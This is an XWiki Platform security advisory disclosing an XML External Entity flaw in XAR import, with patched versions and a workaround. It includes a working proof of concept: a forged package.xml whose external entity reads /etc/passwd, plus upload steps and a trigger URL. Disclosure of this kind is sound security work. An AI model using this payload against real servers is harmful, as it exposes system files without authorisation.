XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference

Impact

Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host.

Example to reproduce:

• Create a forget XAR file and inside it, have the following package.xml content:
  xml

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  
  <package>
  <infos>
  <name>&xxe;</name>
  <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description>
  <licence></licence>
  <author>XWiki.Admin</author>
  ...

• Upload it onto a wiki page (e.g. XXE) as an attachment (e.g. test.xar).
• Call the page using http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar

You'll then notice that the displayed UI contains the content of the /etc/passwd file.

Patches

The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1.

Workarounds

You'd need to get XWiki Platform sources and apply the changes from https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 to the XarPackage java class and then copy the modified version to your WEB-INF/classes directory (or rebuild the xwiki-platform-xar-model maven module and replace the one found in WEB-INF/lib/).

References

• https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434
• https://jira.xwiki.org/browse/XWIKI-20320

For more information

If you have any questions or comments about this advisory:

• Open an issue in Jira XWiki.org
• Email us at Security Mailing List